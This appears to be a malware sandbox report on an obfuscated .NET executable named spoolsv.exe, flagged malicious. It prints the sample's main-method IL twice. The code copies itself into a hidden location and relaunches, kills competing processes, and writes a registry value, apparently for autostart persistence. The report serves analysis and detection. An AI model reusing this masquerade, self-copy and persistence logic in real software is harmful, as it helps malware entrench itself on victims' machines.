Malicious
Malicious

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
File
Type
Portable Executable file
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
High
1 malicious · 27 files
EXEadf4dad2b3fd5eb91c4cb24d309d6690
Structure
P7B[Authenticode]_884ded82.p7b
Name Value
Info
Authenticode present at 0x29400 size 8048 bytes
Info
PDB Path: spoolsv.pdb
Module Name
spoolsv.exe
Full Name
spoolsv.exe
EntryPoint
System.Void Y5N8mRmm4jjBPnHkSW.KkRP9hWfspMBvLgHl8::r5KJPY1Ff()
Scope Name
spoolsv.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
spoolsv
Assembly Version
10.5.3.6
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.8
Total Strings
49
Main Method
System.Void Y5N8mRmm4jjBPnHkSW.KkRP9hWfspMBvLgHl8::r5KJPY1Ff()
Main IL Instruction Count
188
Main IL 
br.s IL_0007: ldc.i4 -746749049
call <null>
ldc.i4 -746749049
ldc.i4 6
shl <null>
ldc.i4 -591850470
xor <null>
ldsfld <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135} <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135}::m_f351a3b620b340d9b9f4c8b1c98b3b48
ldfld System.Int32 <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135}::m_2da661a935a14132a810a3dc167a51ea
xor <null>
call System.String HTWvBBIJfevvYSZmCgL.PMtxHuImtj1V2FgQtAy::D7rgg4svE4(System.Int32)
stloc.0 <null>
ldc.i4 1360328486
ldc.i4 21955457
sub <null>
ldc.i4 1914825231
xor <null>
ldsfld <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135} <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135}::m_f351a3b620b340d9b9f4c8b1c98b3b48
ldfld System.Int32 <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135}::m_05031fe7e4c84c978222f95d348d81bf
xor <null>
call System.String HTWvBBIJfevvYSZmCgL.PMtxHuImtj1V2FgQtAy::D7rgg4svE4(System.Int32)
stloc.1 <null>
ldloc.1 <null>
ldloc.0 <null>
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.2 <null>
ldc.i4 1551779577
ldc.i4 2131255396
sub <null>
ldc.i4 -1575473062
xor <null>
ldsfld <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135} <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135}::m_f351a3b620b340d9b9f4c8b1c98b3b48
ldfld System.Int32 <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135}::m_76b713fb9f5b47329c7b940964485a19
xor <null>
call System.String HTWvBBIJfevvYSZmCgL.PMtxHuImtj1V2FgQtAy::D7rgg4svE4(System.Int32)
stloc.3 <null>
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
stloc.s V_4
ldloc.s V_4
call System.String System.IO.Path::GetFileName(System.String)
stloc.s V_5
ldloc.s V_4
call System.String System.IO.Path::GetDirectoryName(System.String)
stloc.s V_6
ldloc.s V_5
ldloc.0 <null>
ldc.i4.5 <null>
callvirt System.Boolean System.String::Equals(System.String,System.StringComparison)
brfalse IL_00AF: nop
ldloc.s V_6
ldloc.1 <null>
ldc.i4.5 <null>
callvirt System.Boolean System.String::Equals(System.String,System.StringComparison)
brtrue IL_00FE: nop
nop <null>
ldloc.1 <null>
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldloc.s V_4
ldloc.2 <null>
ldc.i4.5 <null>
call System.Boolean System.String::Equals(System.String,System.String,System.StringComparison)
brtrue IL_00CE: newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
ldloc.s V_4
ldloc.2 <null>
ldc.i4.1 <null>
call System.Void System.IO.File::Copy(System.String,System.String,System.Boolean)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.2 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
leave IL_00FE: nop
pop <null>
ldc.i4.1 <null>
call System.Void System.Environment::Exit(System.Int32)
leave IL_00FE: nop
nop <null>
ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser
ldc.i4 505274530
ldc.i4 4
shl <null>
ldc.i4 -668392750
xor <null>
ldsfld <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135} <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135}::m_f351a3b620b340d9b9f4c8b1c98b3b48
ldfld System.Int32 <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135}::m_e824f117aeab4d108592c536700c86a5
xor <null>
call System.String HTWvBBIJfevvYSZmCgL.PMtxHuImtj1V2FgQtAy::D7rgg4svE4(System.Int32)
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::CreateSubKey(System.String)
stloc.s V_7
ldloc.s V_7
ldloc.3 <null>
callvirt System.Object Microsoft.Win32.RegistryKey::GetValue(System.String)
dup <null>
brtrue IL_0141: callvirt System.String System.Object::ToString()
pop <null>
ldnull <null>
br IL_0156: stloc.s V_8
callvirt System.String System.Object::ToString()
ldc.i4.1 <null>
newarr System.Char
dup <null>
ldc.i4.0 <null>
ldc.i4.s 34
stelem.i2 <null>
callvirt System.String System.String::Trim(System.Char[])
stloc.s V_8
ldloc.s V_8
brfalse IL_016D: ldloc.s V_8
ldloc.s V_8
ldloc.2 <null>
ldc.i4.5 <null>
call System.Boolean System.String::Equals(System.String,System.String,System.StringComparison)
brtrue IL_0216: leave IL_022A
ldloc.s V_8
call System.Boolean System.String::IsNullOrEmpty(System.String)
brtrue IL_01C5: ldloc.s V_7
ldloc.s V_8
call System.Boolean System.IO.File::Exists(System.String)
brfalse IL_01C5: ldloc.s V_7
ldloc.s V_8
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
call System.Diagnostics.Process[] System.Diagnostics.Process::GetProcessesByName(System.String)
stloc.s V_9
ldc.i4.0 <null>
stloc.s V_10
br IL_01BA: ldloc.s V_10
ldloc.s V_9
ldloc.s V_10
ldelem.ref <null>
stloc.s V_11
ldloc.s V_11
callvirt System.Void System.Diagnostics.Process::Kill()
leave IL_01B4: ldloc.s V_10
pop <null>
leave IL_01B4: ldloc.s V_10
ldloc.s V_10
ldc.i4.1 <null>
add <null>
stloc.s V_10
ldloc.s V_10
ldloc.s V_9
ldlen <null>
conv.i4 <null>
blt IL_019B: ldloc.s V_9
ldloc.s V_7
ldloc.3 <null>
ldc.i4 729982462
ldc.i4 -1166559487
add <null>
ldc.i4 -1294825231
xor <null>
ldsfld <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135} <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135}::m_f351a3b620b340d9b9f4c8b1c98b3b48
ldfld System.Int32 <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135}::m_c28e183a5c434101a51807541123d372
xor <null>
call System.String HTWvBBIJfevvYSZmCgL.PMtxHuImtj1V2FgQtAy::D7rgg4svE4(System.Int32)
ldloc.2 <null>
ldc.i4 -295894639
ldc.i4 -816277661
add <null>
ldc.i4 -1533176718
xor <null>
ldsfld <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135} <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135}::m_f351a3b620b340d9b9f4c8b1c98b3b48
ldfld System.Int32 <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135}::m_e4e1fa46b61140419ef57768d0441918
xor <null>
call System.String HTWvBBIJfevvYSZmCgL.PMtxHuImtj1V2FgQtAy::D7rgg4svE4(System.Int32)
call System.String System.String::Concat(System.String,System.String,System.String)
ldc.i4.1 <null>
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object,Microsoft.Win32.RegistryValueKind)
leave IL_022A: leave IL_0235
ldloc.s V_7
brfalse IL_0229: endfinally
ldloc.s V_7
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
leave IL_0235: call System.Void sdZ4Q27vsLq1wOJavH.HWr0AxfQf85sU8PoQU::DORcgk901()
pop <null>
leave IL_0235: call System.Void sdZ4Q27vsLq1wOJavH.HWr0AxfQf85sU8PoQU::DORcgk901()
call System.Void sdZ4Q27vsLq1wOJavH.HWr0AxfQf85sU8PoQU::DORcgk901()
call System.Void iS4o2Genv7pA9AXCC3.THqs4MhSeKQtZdAFck::TTilv6auf()
ret <null>
Module Name
spoolsv.exe
Full Name
spoolsv.exe
EntryPoint
System.Void Y5N8mRmm4jjBPnHkSW.KkRP9hWfspMBvLgHl8::r5KJPY1Ff()
Scope Name
spoolsv.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
spoolsv
Assembly Version
10.5.3.6
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.8
Total Strings
49
Main Method
System.Void Y5N8mRmm4jjBPnHkSW.KkRP9hWfspMBvLgHl8::r5KJPY1Ff()
Main IL Instruction Count
188
Main IL 
br.s IL_0007: ldc.i4 -746749049
call <null>
ldc.i4 -746749049
ldc.i4 6
shl <null>
ldc.i4 -591850470
xor <null>
ldsfld <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135} <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135}::m_f351a3b620b340d9b9f4c8b1c98b3b48
ldfld System.Int32 <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135}::m_2da661a935a14132a810a3dc167a51ea
xor <null>
call System.String HTWvBBIJfevvYSZmCgL.PMtxHuImtj1V2FgQtAy::D7rgg4svE4(System.Int32)
stloc.0 <null>
ldc.i4 1360328486
ldc.i4 21955457
sub <null>
ldc.i4 1914825231
xor <null>
ldsfld <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135} <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135}::m_f351a3b620b340d9b9f4c8b1c98b3b48
ldfld System.Int32 <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135}::m_05031fe7e4c84c978222f95d348d81bf
xor <null>
call System.String HTWvBBIJfevvYSZmCgL.PMtxHuImtj1V2FgQtAy::D7rgg4svE4(System.Int32)
stloc.1 <null>
ldloc.1 <null>
ldloc.0 <null>
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.2 <null>
ldc.i4 1551779577
ldc.i4 2131255396
sub <null>
ldc.i4 -1575473062
xor <null>
ldsfld <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135} <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135}::m_f351a3b620b340d9b9f4c8b1c98b3b48
ldfld System.Int32 <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135}::m_76b713fb9f5b47329c7b940964485a19
xor <null>
call System.String HTWvBBIJfevvYSZmCgL.PMtxHuImtj1V2FgQtAy::D7rgg4svE4(System.Int32)
stloc.3 <null>
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
stloc.s V_4
ldloc.s V_4
call System.String System.IO.Path::GetFileName(System.String)
stloc.s V_5
ldloc.s V_4
call System.String System.IO.Path::GetDirectoryName(System.String)
stloc.s V_6
ldloc.s V_5
ldloc.0 <null>
ldc.i4.5 <null>
callvirt System.Boolean System.String::Equals(System.String,System.StringComparison)
brfalse IL_00AF: nop
ldloc.s V_6
ldloc.1 <null>
ldc.i4.5 <null>
callvirt System.Boolean System.String::Equals(System.String,System.StringComparison)
brtrue IL_00FE: nop
nop <null>
ldloc.1 <null>
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldloc.s V_4
ldloc.2 <null>
ldc.i4.5 <null>
call System.Boolean System.String::Equals(System.String,System.String,System.StringComparison)
brtrue IL_00CE: newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
ldloc.s V_4
ldloc.2 <null>
ldc.i4.1 <null>
call System.Void System.IO.File::Copy(System.String,System.String,System.Boolean)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.2 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
leave IL_00FE: nop
pop <null>
ldc.i4.1 <null>
call System.Void System.Environment::Exit(System.Int32)
leave IL_00FE: nop
nop <null>
ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser
ldc.i4 505274530
ldc.i4 4
shl <null>
ldc.i4 -668392750
xor <null>
ldsfld <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135} <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135}::m_f351a3b620b340d9b9f4c8b1c98b3b48
ldfld System.Int32 <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135}::m_e824f117aeab4d108592c536700c86a5
xor <null>
call System.String HTWvBBIJfevvYSZmCgL.PMtxHuImtj1V2FgQtAy::D7rgg4svE4(System.Int32)
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::CreateSubKey(System.String)
stloc.s V_7
ldloc.s V_7
ldloc.3 <null>
callvirt System.Object Microsoft.Win32.RegistryKey::GetValue(System.String)
dup <null>
brtrue IL_0141: callvirt System.String System.Object::ToString()
pop <null>
ldnull <null>
br IL_0156: stloc.s V_8
callvirt System.String System.Object::ToString()
ldc.i4.1 <null>
newarr System.Char
dup <null>
ldc.i4.0 <null>
ldc.i4.s 34
stelem.i2 <null>
callvirt System.String System.String::Trim(System.Char[])
stloc.s V_8
ldloc.s V_8
brfalse IL_016D: ldloc.s V_8
ldloc.s V_8
ldloc.2 <null>
ldc.i4.5 <null>
call System.Boolean System.String::Equals(System.String,System.String,System.StringComparison)
brtrue IL_0216: leave IL_022A
ldloc.s V_8
call System.Boolean System.String::IsNullOrEmpty(System.String)
brtrue IL_01C5: ldloc.s V_7
ldloc.s V_8
call System.Boolean System.IO.File::Exists(System.String)
brfalse IL_01C5: ldloc.s V_7
ldloc.s V_8
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
call System.Diagnostics.Process[] System.Diagnostics.Process::GetProcessesByName(System.String)
stloc.s V_9
ldc.i4.0 <null>
stloc.s V_10
br IL_01BA: ldloc.s V_10
ldloc.s V_9
ldloc.s V_10
ldelem.ref <null>
stloc.s V_11
ldloc.s V_11
callvirt System.Void System.Diagnostics.Process::Kill()
leave IL_01B4: ldloc.s V_10
pop <null>
leave IL_01B4: ldloc.s V_10
ldloc.s V_10
ldc.i4.1 <null>
add <null>
stloc.s V_10
ldloc.s V_10
ldloc.s V_9
ldlen <null>
conv.i4 <null>
blt IL_019B: ldloc.s V_9
ldloc.s V_7
ldloc.3 <null>
ldc.i4 729982462
ldc.i4 -1166559487
add <null>
ldc.i4 -1294825231
xor <null>
ldsfld <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135} <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135}::m_f351a3b620b340d9b9f4c8b1c98b3b48
ldfld System.Int32 <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135}::m_c28e183a5c434101a51807541123d372
xor <null>
call System.String HTWvBBIJfevvYSZmCgL.PMtxHuImtj1V2FgQtAy::D7rgg4svE4(System.Int32)
ldloc.2 <null>
ldc.i4 -295894639
ldc.i4 -816277661
add <null>
ldc.i4 -1533176718
xor <null>
ldsfld <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135} <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135}::m_f351a3b620b340d9b9f4c8b1c98b3b48
ldfld System.Int32 <Module>{c9e37bb1-eead-4a26-a923-9a9a31aed135}::m_e4e1fa46b61140419ef57768d0441918
xor <null>
call System.String HTWvBBIJfevvYSZmCgL.PMtxHuImtj1V2FgQtAy::D7rgg4svE4(System.Int32)
call System.String System.String::Concat(System.String,System.String,System.String)
ldc.i4.1 <null>
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object,Microsoft.Win32.RegistryValueKind)
leave IL_022A: leave IL_0235
ldloc.s V_7
brfalse IL_0229: endfinally
ldloc.s V_7
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
leave IL_0235: call System.Void sdZ4Q27vsLq1wOJavH.HWr0AxfQf85sU8PoQU::DORcgk901()
pop <null>
leave IL_0235: call System.Void sdZ4Q27vsLq1wOJavH.HWr0AxfQf85sU8PoQU::DORcgk901()
call System.Void sdZ4Q27vsLq1wOJavH.HWr0AxfQf85sU8PoQU::DORcgk901()
call System.Void iS4o2Genv7pA9AXCC3.THqs4MhSeKQtZdAFck::TTilv6auf()
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙